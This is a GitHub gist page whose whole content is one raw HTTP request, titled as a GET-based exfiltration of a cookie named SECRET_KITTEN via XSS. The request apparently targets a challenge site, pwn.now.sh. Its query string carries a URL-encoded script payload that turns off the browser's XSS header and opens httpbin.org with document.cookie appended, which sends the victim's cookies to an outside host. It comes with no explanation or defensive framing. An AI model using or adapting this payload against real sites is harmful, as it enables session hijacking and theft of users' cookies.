Skip to content

Instantly share code, notes, and snippets.

@nbk2000
Last active May 9, 2019 15:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nbk2000/c54340a45eda05c40839dfc299b6070c to your computer and use it in GitHub Desktop.
Save nbk2000/c54340a45eda05c40839dfc299b6070c to your computer and use it in GitHub Desktop.
GET based exfiltration of SECRET_KITTEN to httpbin.org via XSS
GET /?header=X-XSS-Protection%3A+0&head=&body=%3Cscript%3Ewindow.open%28%22https%3A%2F%2Fhttpbin.org%2Fget%3Fcookie%3D%22+%2B+document.cookie+%29%3C%2Fscript%3E HTTP/1.1
Host: pwn.now.sh
Connection: close
Cache-Control: max-age=0
Origin: https://pwn.now.sh
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3730.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: https://pwn.now.sh/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,sq;q=0.8
Cookie: SECRET_KITTEN=1135019456449; SECRET_AGENT=4492221398114
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment